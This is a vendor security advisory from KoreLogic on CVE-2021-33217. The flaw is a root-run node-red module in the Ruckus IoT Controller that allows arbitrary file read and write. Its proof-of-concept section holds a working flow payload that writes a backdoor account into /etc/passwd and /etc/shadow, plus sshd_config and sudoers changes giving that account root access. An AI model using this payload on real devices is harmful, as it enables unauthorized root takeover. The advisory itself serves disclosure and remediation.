Affected Systems
Discovered By
Vulnerability Details
Vulnerability Description
The IoT Controller web application includes a NodeJS module, node-red, which has the capability for users to read or write to local files on the IoT Controller. With the elevated privileges the web application runs as, this allowed for reading and writing to any file on the IoT Controller filesystem.
Technical Description
The Ruckus IoT Controller contains the node-red NodeJS Module. The node-red module has the built in functionality to read and write to files on the local filesystem of the IoT Controller.
An authentication token is required. But a token is easily obtained due to hard-coded, default, unchangeable web application credentials (CVE-2021-33219).
With the web application (and the node-red NodeJS module) running as root, this functionality can be leveraged to read or write to any file on the filesystem of the Ruckus IoT Controller.
This condition was leveraged to add an account to the
/etc/passwd file, then used to add a password hash to
/etc/shadow. Additionally, the SSH daemon configuration was
modified to ensure that the newly added account would be able
to SSH in to the device. And to complete the escalation to
root-level privileges, the newly added account was added to
the /etc/sudoers configuration file.
None of these steps would have been possible if the web application (and the node-red module as a result) had not been running as the ‘root’ user.
Mitigation and Remediation Recommendation
The vendor has released an updated firmware (1.8.0.0) which remediates the described vulnerability. Firmware and release notes are available at:
https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf
Credit
This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc.
Proof of Concept
An excerpt of one of the POSTs, which is 16000+ bytes in length, is below:
POST /node-red/flows HTTP/1.1
....
....
{"id":"b64c27d9.bde92","type":"debug","z":"9e8d5b92.105d48","name":"","active":true,"tosidebar":true,"console":false,"tostatus":false,"complete":"payload","targetType":"msg","x":410,"y":420,"wires":[]},{"id":"6a762f41.9154e","type":"file
in","z":"9e8d5b92.105d48","name":"","filename":"/etc/shadow","format":"lines","chunk":false,"sendError":false,"encoding":"none","x":240,"y":340,"wires":[["b64c27d9.bde92"]]},{"id":"9f4d3e63.679728","type":"file","z":"9e8d5b92.105d48","name":"","filename":"/etc/shadow","appendNewline":true,"createDir":false,"overwriteFile":"false","encoding":"ascii","x":300,"y":540,"wires":[[]]},{"id":"226919a8.efb196","type":"inject","z":"9e8d5b92.105d48","name":"","topic":"","payload":"jbecher2:$6$c4jEcmjj$uDjuSxfkzd0QHt/MAGnPJ798izuVhq11MSmkS3iXtDg.iqSumzou4.HauYOrSIYl5JdQlrbZAL7PAkPfrxcxH0:18626:0:99999:7:::","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":110,"y":500,"wires":[["9f4d3e63.679728"]]},{"id":"7b6a1a67.f44ef4","type":"inject","z":"9e8d5b92.105d48","name":"","topic":"jbecher2:x:18626:18626:Jim
Becher,,,:/tmp:/bin/bash","payload":"","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":110,"y":600,"wires":[["72dfbb2b.4e930c"]]},{"id":"72dfbb2b.4e930c","type":"file","z":"9e8d5b92.105d48","name":"","filename":"/etc/passwd","appendNewline":true,"createDir":false,"overwriteFile":"false","encoding":"ascii","x":320,"y":640,"wires":[[]]}],"rev":"0564d9f18d8097f549648378fe8c4476"}
and then there is a subsequent POST to inject/trigger the flow.
root@vriot:~# tail -1 /etc/passwd
jbecher2:x:18626:18626:Jim Becher,,,:/tmp:/bin/bash
root@vriot:~# tail -1 /etc/shadow
jbecher2:$6$c4jEcmjj$uDjuSxfkzd0QHt/MAGnPJ798izuVhq11MSmkS3iXtDg.iqSumzou4.HauYOrSIYl5JdQlrbZAL7PAkPfrxcxH0:18626:0:99999:7:::
Note: the above hash is the same as the hash of the vriotha user,
whose password is known to be nplus1user (CVE-2021-33218).
root@vriot:~# tail -2 /etc/ssh/sshd_config
Match User jbecher2
PasswordAuthentication yes
root@vriot:~# tail -1 /etc/sudoers
jbecher2 ALL=(ALL:ALL) NOPASSWD: ALL
The contents of this advisory are copyright(c) 2021 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt
Disclosure Timeline
KoreLogic submits vulnerability details to CommScope.
CommScope acknowledges receipt and the intention to investigate.
CommScope notifies KoreLogic that this issue, along with several others reported by KoreLogic, will require more than the standard 45 business day remediation timeline.
KoreLogic agrees to extend disclosure embargo if necessary.
CommScope informs KoreLogic that remediation for this vulnerability will be available inside of the standard 45 business day timeline. Requests KoreLogic acquire CVE number for this vulnerability.
30 business days have elapsed since the vulnerability was reported to CommScope.
CommScope notifies KoreLogic that the patched version of the firmware will be available the week of 2021.05.24.
KoreLogic requests CVE from MITRE.
MITRE issues CVE-2021-33217.
CommScope releases firmware 1.8.0.0 and associated advisory.
KoreLogic public disclosure.
Responsible Disclosure
KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.